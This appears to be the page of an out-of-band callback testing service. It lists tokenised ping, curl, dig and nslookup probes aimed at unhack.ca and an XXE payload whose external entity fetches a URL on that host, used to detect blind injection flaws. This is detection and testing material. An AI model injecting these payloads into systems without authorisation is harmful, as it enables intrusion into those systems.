$ ping -c1 -p 00ffb74b53055aed34488ea699181200 unhack.ca
 
$ curl http://unhack.ca/p/ffb74b53055aed34488ea6991812
 
$ dig ffb74b53055aed34488ea6991812 @unhack.ca
 
$ dig ffb74b53055aed34488ea6991812.ns.unhack.ca
 
C:\> nslookup ffb74b53055aed34488ea6991812 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ffb74b53055aed34488ea6991812">]>
    <foo>&xxe;</foo>
Waiting for ping...